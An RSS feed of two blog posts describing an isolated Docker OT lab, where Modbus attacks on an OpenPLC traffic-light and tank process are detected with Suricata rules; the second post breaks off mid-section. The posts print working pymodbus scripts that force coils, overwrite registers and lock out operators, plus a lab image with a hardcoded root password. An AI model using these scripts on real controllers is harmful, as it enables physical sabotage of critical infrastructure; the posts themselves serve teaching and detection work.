<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Fadilulah Ajeigbe on Medium]]></title>
        <description><![CDATA[Stories by Fadilulah Ajeigbe on Medium]]></description>
        <link>https://medium.com/@fadilulahajeigbe01?source=rss-f48115f5e044------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zNt4YPEgAaT4u-rU85COqg.jpeg</url>
            <title>Stories by Fadilulah Ajeigbe on Medium</title>
            <link>https://medium.com/@fadilulahajeigbe01?source=rss-f48115f5e044------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 22:18:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@fadilulahajeigbe01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Network Visibility and Attack Detection in an Industrial Traffic System]]></title>
            <link>https://medium.com/@fadilulahajeigbe01/network-visibility-and-attack-detection-in-an-industrial-traffic-system-dea9ed2fa1f3?source=rss-f48115f5e044------2</link>
            <guid isPermaLink="false">https://medium.com/p/dea9ed2fa1f3</guid>
            <category><![CDATA[suricata]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[Fadilulah Ajeigbe]]></dc:creator>
            <pubDate>Tue, 15 Sep 2026 14:55:47 GMT</pubDate>
            <atom:updated>2026-09-15T14:55:47.258Z</atom:updated>
            <content:encoded><![CDATA[<p>Coming from an IT security background, I understand networks, detection, attackers, and defenses. But OT the world of PLCs, SCADA systems, and industrial protocols was a domain I respected from a distance. So instead of just reading about it, I did what security professionals do, I built a lab, broke it, and watched what happened.</p><p>This article is that journey, written for anyone standing where I stood. Whether you’ve never heard of a PLC or you’ve spent years in a control room, my goal is the same: to show you exactly how an industrial system works, how it talks, how it breaks, and how we detect that breakage with real code, real packets, and real detections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*xXGW4a5NMPPreBWKK8X33A.png" /></figure><h3>The Plan: Build a Plant, Then Defend It</h3><p>The idea was simple but ambitious:</p><ol><li><strong>Build a realistic OT environment</strong> a PLC running real control logic, a SCADA/HMI supervising it, communicating over a real industrial protocol (Modbus TCP).</li><li><strong>Instrument it</strong> deploy a network IDS that understands industrial protocols and logs every conversation in the environment.</li><li><strong>Attack it</strong> simulate an attacker who has gained access to the OT network and attempts to manipulate the physical process.</li><li><strong>Detect and analyze</strong> turn the resulting telemetry into evidence, and learn to read industrial packets like a forensic analyst.</li></ol><p>The physical process I chose? A <strong>traffic light system</strong>. It’s the perfect OT teaching tool: everyone understands it, the physics is obvious, and an attack has visible, real-world consequences you can watch happen.</p><p>The full lab is containerized with Docker, and the code is available on GitHub: <a href="https://github.com/Fad-X/SCADA-Traffic-Light-Simulation-System">SCADA Traffic Light Simulation System</a>.</p><h3>Architecture: The OT Stack</h3><p>Here’s the complete environment:</p><p>Component Role Address <strong>OpenPLC</strong> The PLC runtime executes the traffic-light control logic 192.168.10.10 <strong>FUXA</strong> SCADA/HMI polls the PLC and visualizes the process for operators 192.168.10.20 <strong>Suricata</strong> Network IDS passively observes all traffic to/from the PLC shares PLC&#39;s interface <strong>EveBox</strong> Alert console ingests Suricata&#39;s eve.json and presents alerts localhost:5636 <strong>Kali</strong> The adversary an attack node with access to the OT network DHCP on ot_net</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*bcYZHh3KYC0NUIEKgjAmog.png" /></figure><p>Everything lives on an isolated Docker bridge network, ot_net (192.168.10.0/24), so the lab is fully self-contained safe to attack because it can&#39;t touch anything real.</p><pre>networks:<br>  ot_net:<br>    driver: bridge<br>    ipam:<br>      config:<br>        - subnet: 192.168.10.0/24<br><br>services:<br>  openplc:<br>    build:<br>      context: https://github.com/thiagoralves/OpenPLC_v3.git#master<br>      dockerfile: Dockerfile<br>    container_name: openplc_runtime<br>    networks:<br>      ot_net:<br>        ipv4_address: 192.168.10.10<br>    ports:<br>      - &quot;8080:8080&quot;<br>      - &quot;502:502&quot;<br>    restart: unless-stopped<br><br>  fuxa:<br>    image: frangoteam/fuxa:latest<br>    container_name: fuxa_scada<br>    networks:<br>      ot_net:<br>        ipv4_address: 192.168.10.20<br>    ports:<br>      - &quot;1881:1881&quot;<br>    restart: unless-stopped<br><br>  suricata:<br>    image: jasonish/suricata:latest<br>    container_name: suricata_nids<br>    network_mode: &quot;service:openplc&quot;<br>    cap_add:<br>      - NET_ADMIN<br>      - NET_RAW<br>      - SYS_NICE<br>    volumes:<br>      - ./suricata/rules:/var/lib/suricata/rules<br>      - ./suricata/logs:/var/log/suricata<br>      - ./suricata/suricata.yaml:/etc/suricata/suricata.yaml<br>    command: -i eth0 -k none -c /etc/suricata/suricata.yaml -S /var/lib/suricata/rules/modbus.rules<br>    depends_on:<br>      - openplc<br>    restart: unless-stopped<br><br>  evebox:<br>    image: jasonish/evebox:latest<br>    container_name: evebox_ui<br>    ports:<br>      - &quot;5636:5636&quot;<br>    volumes:<br>      - ./suricata/logs:/var/log/suricata:ro<br>    command: evebox server --datastore sqlite --input /var/log/suricata/eve.json --no-auth --host 0.0.0.0<br>    restart: unless-stopped<br><br>  kali:<br>    build:<br>      context: .<br>      dockerfile: Dockerfile.kali<br>    container_name: kali_node<br>    networks:<br>      - ot_net<br>    ports:<br>      - &quot;3333:22&quot;<br>    restart: unless-stopped</pre><p>A few architectural decisions worth calling out:</p><ul><li><strong>Static IP addressing.</strong> OpenPLC is pinned to .10, FUXA to .20. In OT, addressing isn&#39;t just convenience detection logic, firewall rules, and allowlists all depend on knowing exactly which device is which.</li><li><strong>Suricata shares the PLC’s network namespace</strong> (network_mode: &quot;service:openplc&quot;). This is the key trick: the sensor needs no IP of its own; it attaches directly to the PLC&#39;s eth0 and sees <em>every packet the PLC sees</em>. In a real plant, this is your SPAN port or TAP on the control-network switch. NET_ADMIN and NET_RAW grant the privileges packet capture requires.</li><li><strong>EveBox mounts Suricata’s log directory read-only</strong> the SIEM layer can consume telemetry without any ability to write back into the detection path. Clean separation of concerns.</li></ul><h3>Part 1 The Process: OpenPLC Control Logic</h3><p>The heart of any OT system is the control logic. I upgraded the original single-light program to control <strong>three intersections</strong> Main West, Main East, and a Cross Avenue all coordinated by one 30-second master cycle.</p><pre>PROGRAM Networked_Traffic_Controller<br>  VAR_EXTERNAL<br>    I1_Red    : BOOL;<br>    I1_Yellow : BOOL;<br>    I1_Green  : BOOL;<br>    I2_Red    : BOOL;<br>    I2_Yellow : BOOL;<br>    I2_Green  : BOOL;<br>    I3_Red    : BOOL;<br>    I3_Yellow : BOOL;<br>    I3_Green  : BOOL;<br>  END_VAR<br><br>  VAR<br>    Timer_Master : TON;<br>    Timer_Reset  : TON;<br>    Cycle_Time   : TIME := T#30s;<br>    T_Cur        : TIME;<br>  END_VAR<br><br>  (* Master Cycle Timer: 30-second cycle *)<br>  Timer_Master(IN := NOT Timer_Reset.Q, PT := Cycle_Time);<br>  Timer_Reset(IN := Timer_Master.Q, PT := T#20ms);<br>  T_Cur := Timer_Master.ET;<br><br>  (* INTERSECTION 1: Main West *)<br>  IF T_Cur &lt; T#14s THEN<br>    I1_Green := TRUE;  I1_Yellow := FALSE; I1_Red := FALSE;<br>  ELSIF T_Cur &gt;= T#14s AND T_Cur &lt; T#17s THEN<br>    I1_Green := FALSE; I1_Yellow := TRUE;  I1_Red := FALSE;<br>  ELSE<br>    I1_Green := FALSE; I1_Yellow := FALSE; I1_Red := TRUE;<br>  END_IF;<br><br>  (* INTERSECTION 2: Main East (4s Green Wave Offset) *)<br>  IF T_Cur &gt;= T#4s AND T_Cur &lt; T#18s THEN<br>    I2_Green := TRUE;  I2_Yellow := FALSE; I2_Red := FALSE;<br>  ELSIF T_Cur &gt;= T#18s AND T_Cur &lt; T#21s THEN<br>    I2_Green := FALSE; I2_Yellow := TRUE;  I2_Red := FALSE;<br>  ELSE<br>    I2_Green := FALSE; I2_Yellow := FALSE; I2_Red := TRUE;<br>  END_IF;<br><br>  (* INTERSECTION 3: Cross Avenue *)<br>  IF T_Cur &gt;= T#22s AND T_Cur &lt; T#27s THEN<br>    I3_Green := TRUE;  I3_Yellow := FALSE; I3_Red := FALSE;<br>  ELSIF T_Cur &gt;= T#27s AND T_Cur &lt; T#30s THEN<br>    I3_Green := FALSE; I3_Yellow := TRUE;  I3_Red := FALSE;<br>  ELSE<br>    I3_Green := FALSE; I3_Yellow := FALSE; I3_Red := TRUE;<br>  END_IF;<br>END_PROGRAM<br><br>CONFIGURATION Config0<br>  RESOURCE Res0 ON PLC<br>    VAR_GLOBAL<br>      I1_Red AT %QX0.0 : BOOL;<br>      I1_Yellow AT %QX0.1 : BOOL;<br>      I1_Green AT %QX0.2 : BOOL;<br>      I2_Red AT %QX0.3 : BOOL;<br>      I2_Yellow AT %QX0.4 : BOOL;<br>      I2_Green AT %QX0.5 : BOOL;<br>      I3_Red AT %QX0.6 : BOOL;<br>      I3_Yellow AT %QX0.7 : BOOL;<br>      I3_Green AT %QX1.0 : BOOL;<br>    END_VAR<br><br>    TASK TaskMain(INTERVAL := T#50ms, PRIORITY := 0);<br>    PROGRAM InstMain WITH TaskMain : Networked_Traffic_Controller;<br>  END_RESOURCE<br>END_CONFIGURATION</pre><p>Let me explain what’s actually happening here, because this is the part that separates OT from IT: <strong>the program directly controls physics.</strong></p><p><strong>Timing without a clock.</strong> Two standard on-delay timers (TON) are wired into an oscillator: Timer_Master counts up to the 30-second preset, and the instant it completes, Timer_Reset fires for 20 ms just long enough to starve the master&#39;s input and force it back to zero. The result is a free-running master cycle. Every lamp decision in the program is just a question: <em>how many seconds into the current cycle are we?</em></p><p><strong>Coordinated intersections.</strong> Each intersection reads the same master time but from a different window:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*dCkVxivFHqitFgSnAknmMQ.png" /></figure><p>Notice that Main East runs the <em>same pattern</em> as Main West but shifted by 4 seconds a simple <strong>green wave</strong>, so a vehicle traveling east hits green at both intersections. This is a miniature of real traffic engineering, and it matters for security: the process has <em>intended timing behavior</em>, which means deviations from it are detectable.</p><p><strong>Hardware mapping.</strong> Each lamp is bound to a discrete output (%QX0.0 through %QX1.0) nine coils total. This is what the attackers will eventually target, and it&#39;s what makes OT security viscerally different from IT: <strong>writing to memory address </strong><strong>%QX0.0 doesn&#39;t change a database row, it changes a physical lamp.</strong></p><p>On the FUXA side, the HMI connects to OpenPLC over Modbus TCP (192.168.10.10:502), maps the nine coils as tags, and renders them as animated lights. (If you prefer a simpler single-intersection version, the GitHub repo above has a step-by-step build.)</p><p>That covers the plant. Now let’s defend it.</p><h3>Part 2 The Visibility Layer: Suricata in the OT Network</h3><p>A network IDS in OT has one golden rule: <strong>passive observation only</strong>. You do not inject, scan, or disrupt. Suricata is perfect for this it understands industrial protocols natively, including Modbus.</p><p>Set up the sensor directories:</p><pre>mkdir -p suricata/rules suricata/logs</pre><p>Then create suricata/rules/modbus.rules:</p><pre># 1. Unauthorized Host Modbus Communication (Not FUXA 192.168.10.20)<br>alert tcp !192.168.10.20 any -&gt; 192.168.10.10 502 (msg:&quot;OT-POLICY: Unauthorized Host Modbus Communication to PLC&quot;; flow:to_server; classtype:policy-violation; sid:1000001; rev:1;)<br><br># 2. Unauthorized Modbus Single Register Write (FC06)<br>alert tcp !192.168.10.20 any -&gt; 192.168.10.10 502 (msg:&quot;OT-ALERT: Unauthorized Modbus Single Write (FC06)&quot;; flow:to_server,established; content:&quot;|06|&quot;; offset:7; depth:1; classtype:policy-violation; sid:1000002; rev:1;)<br><br># 3. Unauthorized Modbus Multiple Registers Write (FC16)<br>alert tcp !192.168.10.20 any -&gt; 192.168.10.10 502 (msg:&quot;OT-ALERT: Unauthorized Modbus Multiple Write (FC16)&quot;; flow:to_server,established; content:&quot;|10|&quot;; offset:7; depth:1; classtype:policy-violation; sid:1000003; rev:1;)<br><br># 4. Modbus Force Single Coil (FC05 - Light override)<br>alert tcp any any -&gt; 192.168.10.10 502 (msg:&quot;OT-ATTACK: Modbus Force Single Coil (FC05)&quot;; flow:to_server,established; content:&quot;|05|&quot;; offset:7; depth:1; classtype:attempted-admin; sid:1000004; rev:1;)<br><br># 5. Modbus Force Multiple Coils (FC15 - Intersection override)<br>alert tcp any any -&gt; 192.168.10.10 502 (msg:&quot;OT-ATTACK: Modbus Force Multiple Coils (FC15)&quot;; flow:to_server,established; content:&quot;|0f|&quot;; offset:7; depth:1; classtype:attempted-admin; sid:1000005; rev:1;)</pre><p>These five rules implement a deliberate detection strategy, and each teaches something different:</p><p><strong>Rule 1 the allowlist (SID 1000001).</strong> In this environment, exactly <em>one</em> host is permitted to speak Modbus to the PLC: the FUXA HMI at 192.168.10.20. This rule inverts that logic it alerts on Modbus traffic to the PLC from <strong>anyone else</strong>. flow:to_server keeps it directional (we don&#39;t care about PLC responses), and classtype:policy-violation flags it as a deviation from known-good, not yet necessarily an attack. This is the OT philosophy in one rule: <em>define what normal is, then alert on the rest.</em></p><p><strong>Rules 2 &amp; 3 unauthorized writes (SIDs 1000002–1000003).</strong> Function codes 06 (Write Single Register) and 16 (Write Multiple Registers) modify PLC state. Restricted to unauthorized sources, these catch an intruder trying to alter setpoints or configuration. The match itself is a nice piece of protocol knowledge: <strong>a Modbus TCP request begins with a 7-byte MBAP header, so the function code always sits at byte offset 7</strong> content:&quot;|06|&quot;; offset:7; depth:1 says &quot;match one byte, the value 0x06, exactly at position 7.&quot;</p><p><strong>Rules 4 &amp; 5 physical manipulation (SIDs 1000004–1000005).</strong> Function codes 05 and 15 write to <strong>coils</strong> and recall from the PLC program that coils are the physical lamps. FC05 forces a single lamp; FC15 forces many at once. These get classtype:attempted-admin and are triggered from <em>any</em> source, including the legitimate HMI because a coil write is inherently a command to the physical process and should always be visible. If someone turns lights green for a red direction, we want it on the record regardless of who did it.</p><p>Two detection philosophies, one ruleset: <strong>policy-based detection</strong> (rules 1–3: who is allowed to do what) and <strong>behavior-based detection</strong> (rules 4–5: what actions are inherently dangerous).</p><h3>Part 3 The Adversary: Kali in the OT Zone</h3><p>Every testbed needs an attacker. The scenario is realistic and grounded in real intrusions (think Industroyer, Triton): <strong>an attacker has gained a foothold inside the OT network</strong> via a compromised engineering workstation, a vendor laptop, a flat network and can now reach the PLC directly.</p><p>The Kali node is a purpose-built container:</p><pre>FROM kalilinux/kali-rolling:latest<br><br>ENV DEBIAN_FRONTEND=noninteractive<br><br># Wipe existing mirror files and pin directly to Cloudflare&#39;s global CDN<br>RUN rm -rf /etc/apt/sources.list.d/* &amp;&amp; \<br>    echo &quot;deb http://kali.download/kali kali-rolling main contrib non-free non-free-firmware&quot; &gt; /etc/apt/sources.list &amp;&amp; \<br>    apt-get update &amp;&amp; \<br>    apt-get install -y --no-install-recommends \<br>        openssh-server \<br>        sudo \<br>        iputils-ping \<br>        curl \<br>        net-tools \<br>        python3 \<br>        python3-pip \<br>        nmap &amp;&amp; \<br>    apt-get clean &amp;&amp; rm -rf /var/lib/apt/lists/*<br><br># Configure SSH<br>RUN mkdir -p /run/sshd /var/run/sshd &amp;&amp; \<br>    ssh-keygen -A &amp;&amp; \<br>    echo &#39;root:kalilab&#39; | chpasswd &amp;&amp; \<br>    sed -i &#39;s/#PermitRootLogin prohibit-password/PermitRootLogin yes/&#39; /etc/ssh/sshd_config &amp;&amp; \<br>    sed -i &#39;s/PermitRootLogin prohibit-password/PermitRootLogin yes/&#39; /etc/ssh/sshd_config &amp;&amp; \<br>    sed -i &#39;s@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g&#39; /etc/pam.d/sshd<br><br>EXPOSE 22<br><br>CMD [&quot;/usr/sbin/sshd&quot;, &quot;-D&quot;, &quot;-e&quot;]</pre><p>Design notes: the image is pinned to Kali’s official CDN mirror (which avoids the classic rolling-release pain of stale or broken mirror lists), SSH is enabled with root login (root:kalilab, mapped to host port 3333) so I can drive the attacker node exactly like a compromised remote host, and nmap + python3 are preinstalled for reconnaissance and attack scripting. It joins ot_net with no special privileges it doesn&#39;t need them. <strong>The attacker&#39;s power comes purely from network position</strong>, which is precisely the point.</p><h3>The attack: flooding the PLC with forged states</h3><p>This is the actual attack script, run from the Kali node:</p><pre>import time<br>from pymodbus.client import ModbusTcpClient<br><br>c = ModbusTcpClient(&quot;192.168.10.10&quot;, port=502, timeout=1)<br>c.connect()<br><br>print(&quot;flooding green for 30s  watch the physical light / FUXA&quot;)<br>t0 = time.time()<br>while time.time() - t0 &lt; 60:<br>    c.write_coils(address=0, values=[True, True, False, True, False, True, False, True, True], device_id=1)<br>    # no sleep  as fast as the server will accept<br><br>c.close()</pre><p>What it’s doing, byte by byte of intent:</p><ol><li>It connects to the PLC’s Modbus TCP port no authentication required, because <strong>Modbus has no authentication</strong>. If you can reach port 502, you can command the PLC. That’s not a flaw in my lab; that’s the protocol as deployed in millions of real devices.</li><li>It issues Write Multiple Coils (FC15) starting at coil 0 covering <strong>all nine lamps across all three intersections</strong>.</li><li>The value array [T, T, F, T, F, T, F, T, T] is deliberately wrong: multiple greens, greens conflicting with the master cycle chaos from a traffic standpoint.</li><li>It repeats with <strong>no delay</strong>, flooding the PLC and overwhelming its own control logic: the program is still running its 30-second cycle, but every few milliseconds its outputs get overwritten. Watch FUXA and you’ll see the lights stutter and fight the attacker’s pattern.</li></ol><p>This mirrors real OT attacks: manipulation of the I/O layer, the closest you can get to physically seizing the process from the network.</p><h3>Part 4 The Evidence: EveBox and Payload Forensics</h3><p>Suricata logs everything to eve.json (JSON events: flows, DNS, alerts, and crucially <strong>payload bytes</strong>). EveBox by the same maintainer serves a web console over that data. Open <a href="http://localhost:5636:">https://localhost:5636:</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwEyekbMEwvaZ2FFQrPDZQ.png" /></figure><p>The rules are firing. Open the <strong>Alerts</strong> view and select one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IiOtpZmxg6mo58fFPq-SAQ.png" /></figure><p><strong>Alert: OT-ATTACK: Modbus Force Multiple Coils (FC15)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*8QJelgDgLnkSg_o4ONczCg.png" /></figure><p>Notice the flow statistics before anything else: <strong>~1.25 MB and ~15,000 packets in one direction</strong> from the Kali node to the PLC in a short window. Even without decoding a single Modbus frame, the volume alone is anomalous a healthy HMI polls gently; this is a firehose. Flow telemetry often catches what payload rules miss.</p><p>Now the payload and this is where OT forensics gets genuinely fun, because <strong>the bytes on the wire are literally the attacker’s command to the physical world</strong>:</p><pre>c4 cf 00 00 00 09 01 0f 00 00 00 09 02 ab 01</pre><p>Decoded byte by byte as a Modbus TCP frame:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*FjDlLtcydrKL7dA-YrbMFw.png" /></figure><p>That last field is the smoking gun. Coils are packed LSB-first into bits:</p><ul><li>0xAB = 1010 1011 → bit 0 = 1 (ON), bit 1 = 1 (ON), bit 2 = 0 (OFF), bit 3 = 1 (ON), bit 4 = 0 (OFF), bit 5 = 1 (ON), bit 6 = 0 (OFF), bit 7 = 1 (ON)</li><li>0x01 → bit 8 = 1 (ON)</li></ul><p>Compare with the attack script’s array [True, True, False, True, False, True, False, True, True] <strong>an exact match</strong>. The packet on the wire is the attack, frozen in hex. There&#39;s no interpretation or inference here; we are reading the attacker&#39;s instructions to the traffic lights directly out of the capture.</p><h3>What I Learned (and What I’d Tell You)</h3><p><strong>1. OT security is IT security, pointed at physics.</strong> Everything I know network monitoring, detection engineering, allowlisting, forensics transferred directly. What changed is the stakes model: in IT, a compromised host is a data problem; in OT, a compromised PLC is a <em>physical safety</em> problem. The traffic lights make that concrete.</p><p><strong>2. Visibility is the foundation.</strong> You cannot detect what you cannot see, and most OT environments are far darker than their IT counterparts. A passive Suricata sensor + EveBox costs nothing and instantly answers the question that matters most: <em>who is talking to my PLC?</em></p><p><strong>3. Passive detection is uniquely suited to OT.</strong> Because active scanning can destabilize fragile industrial equipment, passive network monitoring is often the <em>only</em> acceptable telemetry source. Detection engineering in OT is detection under constraint which makes it a more interesting discipline, not a lesser one.</p><p><strong>4. The protocols are the vulnerability.</strong> Modbus’s total lack of authentication or encryption isn’t a bug to be patched it’s the installed reality across critical infrastructure. Compensating controls (segmentation, allowlists, monitoring) are the defense, exactly as this lab demonstrates.</p><p><strong>5. Learn by breaking.</strong> I went from never having touched a PLC to decoding Modbus attack payloads in EveBox in a matter of days because building, attacking, and defending the same system teaches all three perspectives at once.</p><p><em>If you’re an IT security professional curious about OT, my advice is simple: don’t wait until you feel “ready.” Build the lab. Break it. Watch the packets. The domain expertise compounds faster than you’d expect I’m proof.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dea9ed2fa1f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Into A PLC Over Modbus TCP then Building the Defenses That Should Have Stopped Me]]></title>
            <link>https://medium.com/@fadilulahajeigbe01/breaking-into-a-plc-over-modbus-tcp-then-building-the-defenses-that-should-have-stopped-me-16a030e11705?source=rss-f48115f5e044------2</link>
            <guid isPermaLink="false">https://medium.com/p/16a030e11705</guid>
            <category><![CDATA[defense-in-depth]]></category>
            <category><![CDATA[ics-security]]></category>
            <category><![CDATA[suricata]]></category>
            <category><![CDATA[ot-security]]></category>
            <dc:creator><![CDATA[Fadilulah Ajeigbe]]></dc:creator>
            <pubDate>Tue, 08 Sep 2026 15:29:30 GMT</pubDate>
            <atom:updated>2026-09-08T15:29:30.903Z</atom:updated>
            <content:encoded><![CDATA[<p>Before the technical deep-dive, one point deserves emphasis, because it’s the mistake I see most often when IT security people walk into an OT environment for the first time.</p><p>Industrial Control Systems were engineered for a world that no longer exists. Protocols like <strong>Modbus TCP</strong> (born 1979 as Modbus serial, wrapped in TCP/IP in the early 2000s) were designed for <strong>deterministic availability and operational integrity</strong> not confidentiality, not authentication, not authorization, and certainly not message integrity. When a Modbus master tells a PLC “set register 0 to 2800,” the PLC’s entire security model is: <em>“you spoke first, so you must be the operator.”</em></p><p>That’s not a bug. It’s a design decision made four decades ago, in an era of air-gapped serial networks, that we’ve now bolted onto TCP/IP networks with internet-facing attack surfaces. The result is what my lab demonstrates concretely: <strong>the protocol trusts everyone, and the only thing standing between an attacker and physical process control is network segmentation they probably didn’t implement.</strong></p><p>A few months ago, a colleague asked me a deceptively simple question: <em>“If someone got onto the network next to our PLCs, how bad could it really get?”</em></p><p>In IT security, we usually answer that with CVSS scores and exploit chains. In Operational Technology (OT) the systems that run power grids, water treatment, manufacturing lines the answer is measured differently: in physical processes that can be bent, broken, or blown up.</p><p>So I built a lab to find out. A real PLC runtime. A real HMI. A real industrial protocol. And then I attacked it the way an adversary actually would: no credentials, no insider knowledge, just network access and a spec sheet.</p><p>This is what happened first from the attacker’s chair, then from the defender’s.</p><h3>The Lab: A Minimal but Honest Purdue Architecture</h3><p>I containerized a small but architecturally faithful industrial control loop on Docker, segmented onto a dedicated subnet (ot_net: 192.168.10.0/24), mirroring the Purdue Enterprise Reference Architecture used to model industrial networks:</p><ul><li><strong>Level 1 Controller:</strong> OpenPLC v3 runtime on Debian (192.168.10.10), exposing Modbus TCP on port 502 and a web-based logic compilation engine on 8080.</li><li><strong>Level 2 Supervision:</strong> FUXA Web SCADA HMI (192.168.10.20) on port 1881, polling the PLC&#39;s holding registers and rendering live process variables (a Tank_Level indicator in my scenario).</li><li><strong>Passive Sensor:</strong> Suricata NIDS attached to the OpenPLC container’s network namespace, giving me zero-latency passive deep packet inspection of all Modbus traffic on eth0 no SPAN port, no tap hardware.</li></ul><pre><br>Docker Subnet: ot_net (192.168.10.0/24)<br><br>+---------------------+ Modbus TCP (502) +-------------------+<br><br>| FUXA Web SCADA/HMI | &lt;================================&gt; | OpenPLC Runtime |<br><br>| 192.168.10.20 | polling &amp; control | 192.168.10.10 |<br><br>| (Level 2) | | (Level 1) |<br><br>+---------------------+ +-------------------+<br><br>^ |<br><br>| host-mapped ports: 502, 1881, 8080 (pre-hardening) |<br><br>+---------------------------------------------------------+<br><br>|<br><br>+-------------------+------------------+<br><br>| Suricata NIDS (passive DPI) |<br><br>+--------------------------------------+<br><br>^<br><br>Attacker / external host shell</pre><p>Two deployment notes for anyone reproducing this on Windows/WSL2:</p><ol><li>network_mode: &quot;service:openplc&quot; is the clean way to get a sniffing container into the PLC&#39;s traffic path without fighting Docker&#39;s bridge internals.</li><li>When mounting custom Suricata rules, <strong>do not use </strong><strong>:ro</strong> on the rules volume the jasonish/suricata entrypoint runs chown on /var/lib/suricata/rules at startup, and a read-only mount sends the container into a crash loop. That one cost me an hour.</li></ol><h3>Phase 1 Reconnaissance: What the Protocol Tells You for Free</h3><p>An attacker’s first move is enumeration. Nmap already ships with ICS-specific scripting:</p><pre>nmap -p502,1881 127.0.0.1 -sVC<br><br># 502/tcp open modbus Modbus TCP<br><br># 1881/tcp open http Node.js Express framework (FUXA)</pre><p>Then, device identification:</p><pre><br>nmap -p 502 --script modbus-discover \<br><br>--script-args=&#39;modbus-discover.aggressive=true&#39; 127.0.0.1</pre><p>Every response came back error: ILLEGAL FUNCTION. This is worth understanding precisely, because it&#39;s a beautiful illustration of how ICS protocols <em>do</em> fail informatively.</p><p>modbus-discover queries devices using <strong>Function Code 43</strong> (Read Device Identification) an optional diagnostic that returns vendor name, product code, and firmware revision. OpenPLC implements the operational memory functions (FC 1, 2, 3, 4, 5, 6, 15, 16) but not FC 43. Per the Modbus Application Protocol Specification v1.1b, a server that receives an unsupported function code must respond with an <strong>exception frame</strong>, followed by exception code 0x01 (ILLEGAL FUNCTION).</p><p>So the scan failed and in failing, confirmed three things: the stack is <strong>Modbus-compliant</strong>, it’s an <strong>active controller </strong>(dead hosts don’t answer exception frames), and it likely isn’t a commercial vendor device (those almost universally implement FC 43). <strong>In OT reconnaissance, protocol-compliant errors are intelligence.</strong> I note this for later it’s also the exact behavior I’ll turn into my first Suricata detection.</p><h3>Phase 2 The Attack: From Network Access to Physical Control</h3><h3>Step 1: Reading the process, unauthenticated</h3><p>Modbus holding registers are readable by anyone who can open a TCP socket to port 502. No handshake, no session, no credentials. Twenty lines of Python:</p><pre>#!/usr/bin/env python3<br><br>from pymodbus.client import ModbusTcpClient<br><br>client = ModbusTcpClient(&quot;127.0.0.1&quot;, port=502)<br><br>if client.connect():<br><br>response = client.read_holding_registers(address=0, count=10)<br><br>for idx, val in enumerate(response.registers):<br><br>print(f&quot;Register {idx} (4000{idx+1}): {val}&quot;)<br><br>client.close()</pre><p>Output:</p><pre>[+] Connected to Modbus service on 502<br><br>Register 0 (40001): 2000<br><br>Register 1 (40002): 0<br><br>...<br><br>Register 5 (40006): 2000<br><br>Register 6 (40007): 0</pre><p>Register 0 held 2000 the live Tank_Level value the HMI was displaying. In one read, I&#39;d recovered the process state. In a real plant, memory maps like this map directly to actuator setpoints, motor speeds, valve positions.</p><h3>Step 2: Writing the process</h3><p>Function Code 6 (Write Single Register) takes it further:</p><pre>python3 -c &quot;<br><br>from pymodbus.client import ModbusTcpClient<br><br>c = ModbusTcpClient(&#39;127.0.0.1&#39;, port=502)<br><br>c.write_register(0, 1337)<br><br>res = c.read_holding_registers(address=0, count=1)<br><br>print(f&#39;[+] Verification: Register 0 = {res.registers[0]}&#39;)<br><br>&quot;<br># [+] Verification: Register 0 = 1337</pre><p>The write succeeded instantly. The FUXA gauge swung to the unauthorized value. <strong>No alert, no log, no credential prompt.</strong> Total elapsed time from first TCP connection to process manipulation: under 30 seconds.</p><p>Think about what this means physically. If register 0 were a chemical dosing rate, a burner setpoint, or a pressure relief threshold, I’ve just changed what the machine does from a laptop, with a library install and no authentication.</p><h3>Step 3: The operator lockout race condition exploitation</h3><p>The naive objection is: “the operator will just set it back.” True and irrelevant. Modbus has no concept of ownership or write locking, so the last write wins. I turned that into a denial-of-operator-availability attack:</p><pre>#!/usr/bin/env python3<br><br>import time<br><br>from pymodbus.client import ModbusTcpClient<br><br>client = ModbusTcpClient(&quot;127.0.0.1&quot;, port=502)<br><br>client.connect()<br><br>while True:<br><br>client.write_register(0, 2800) # unsafe setpoint<br><br>time.sleep(0.5) # outpaces human adjustments</pre><p>When an operator drags the HMI slider back to a safe 500, my loop snaps it to 2800 within 500 milliseconds. The HMI&#39;s own write becomes a rounding error. The adversary isn&#39;t just controlling the process they&#39;ve <strong>weaponized the operator&#39;s legitimate control channel against them</strong>, turning every corrective action into proof of futility.</p><p>This is the OT threat that maps least well onto IT mental models. There’s no malware, no persistence mechanism, no privilege escalation. Just a protocol that assumes trust and a loop that exploits the assumption.</p><h3>Phase 3 Detection Engineering: Teaching Suricata to Speak Modbus</h3><p>Detection here requires a network IDS with <strong>Modbus-aware deep packet inspection</strong>, not just port-based signatures. I deployed Suricata in passive mode on the PLC’s network interface and wrote four signatures, each teaching a different lesson.</p><h3>Signature 1 Turn reconnaissance noise into signal</h3><pre><br>alert tcp any 502 -&gt; any any ( \<br><br>msg:&quot;SCADA_IDS: Modbus Illegal Function Exception&quot;; \<br><br>flow:established,from_server; content:&quot;|ab 01|&quot;; depth:2; offset:7; \<br><br>classtype:bad-unknown; sid:1000001; rev:1;)</pre><p>Remember the 0xAB 0x01 exception frame from Phase 